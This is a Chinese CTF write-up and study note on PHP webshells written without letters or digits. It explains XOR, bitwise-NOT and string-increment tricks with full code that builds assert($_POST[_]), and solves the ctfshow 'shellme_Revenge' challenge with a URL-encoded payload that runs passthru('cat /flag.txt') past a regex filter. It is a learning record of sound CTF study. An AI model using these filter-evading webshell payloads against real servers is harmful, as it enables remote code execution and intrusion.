由一题了解深入不包含数字和字母的webshall
前言 这两天比赛的时候,偶然遇到Y4爷出的一道题,这道题虽然并没有涉及到不包含数字和字母的webshall,但是却涉及到php的自增操作,查着查着,就查到了不包含数字和字母的webshall。此篇文章记录我此次学习的过程。 不包含数字和字母的webshall 在正式的解题之前,我们首先来看看如何构造一个不含数字和字母的webshall。 方法有三 方法一: 在php中通过两字符串经过异或操作依旧会
前言
这两天比赛的时候,偶然遇到Y4爷出的一道题,这道题虽然并没有涉及到不包含数字和字母的webshall,但是却涉及到php的自增操作,查着查着,就查到了不包含数字和字母的webshall。此篇文章记录我此次学习的过程。
不包含数字和字母的webshall
在正式的解题之前,我们首先来看看如何构造一个不含数字和字母的webshall。
方法有三
方法一:
在php中通过两字符串经过异或操作依旧会得到一个字符串,所以就可以想到,将某字母对某字符进行两次异或,我们依旧得到字母本身,但是却可以绕过数字和字母。
在此前先写一个test.php
//test.php
<?php
$shall=$_GET['shall'];
eval($shall);
?>
基于上文思路,就可以很好的了解P神的实例代码了
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
执行结果如下

可能猛地一看,不知道为什么'%01'和这个符号异或就等于a呢,因为%01是a与此符号异或并且通过url编码得到的,因为a与此符号异或所得符号为不可打印字符。

所以也不一定就a非要和这个符号异或,按照要求,a可以和任何非字母和数字异或,因为两相同的字符异或为0,任意字符与0异或均为它本身
可以用a与>尝试,结果与我们设想中一样。

方法二:
这次是利用位运算中的"取反"。此法利用UTF-8编码中的某汉字,并将其某个字符取出,比如'和'{2}的结果是"\x8c",其取反几位字母s。
但是我在实例中却发现一个问题,它会报错,如下图。

这是因为PHP5下不能直接使用'和'{2},这是PHP7下的语法。
但是其中却出现了个2,违背了我们不能使用字母或者数字的要求,所以这里还利用了PHP弱类型的特性,ture的值为1,故ture+ture==2,所以('>'>'<')+('>'>'<')==2
下面附上P神的代码
<?php
$__=('>'>'<')+('>'>'<'); //$__ =2
$_=$__/$__; //$_=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
下图为P神的运行结果

我有个疑问,既然'和'{2}是PHP7下的语法,那么就是这部分代码需要在PHP7下运行出来,那P神回显的却是5.6.28版本的PHP,我很是疑惑,而且本机并未复现到位。望某位师傅解惑。
方法三:
通过PHP的自增小技巧。

大意就是,'a'++='b','b'++='c'...'A'++='B','B'++='C'...所以我们只需要拿到一个大写字母,一个小写字母。那么,我们就可以通过自增操作表示出全部的字母。
那么我们如何拿到字母呢?刚好在PHP中如果强制连接数组和字符串的话,数组将会被强制转换为Array

所以我们就可以得到一个小写的a和一个大写的A,再通过自增操作得到所有的字母。
附上P神的shall
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
记得url编码
post:_=phpinfo()

自此不包含数字和字母的webshall知识已经列举完,这个时候就可以写我遇到的那一道题了。
解析题目
ctfshow 吃瓜杯 shellme_Revenge
首先映入眼帘的是下图

我找一圈没啥思路
倒是在 diaabled_function 中看到过滤了许多函数

过滤了system exec shell_exec但是passthru没过滤,也需可以在这里做文章
最后还是在请求头里发现了线索

可以直接传参looklook,随便传
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
可以看到,要求的POST被过滤的只剩0-3和一个C了,这里给了一个C,还有0-3。可以联想到url编码,而这里利用的正好是包含数字和字母的webshall的方法三,自增。
<?php
$_=C;
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C){0}; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //_GET
($$_{1})($$_{2}); //($_GET{1})($_GET{2})
其中$_GET{1}的意思是,调用get的第一个参数,$_GET{2},调用get的第二个参数。
payload:
GET:
?looklook=1&1=passthru&2=cat /flag.txt
需要将上面的PHP代码进行url编码才符合要求
POST:
ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%7B1%7D)(%24%24_%7B2%7D)%3B%20
总结
看了P神的文章和Y4爷的题,只觉得我欠缺的东西有很多,需要我学习的东西还有许多。继续努力加油!!
参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://shimo.im/docs/gwpcxkryVJwyJVHR/read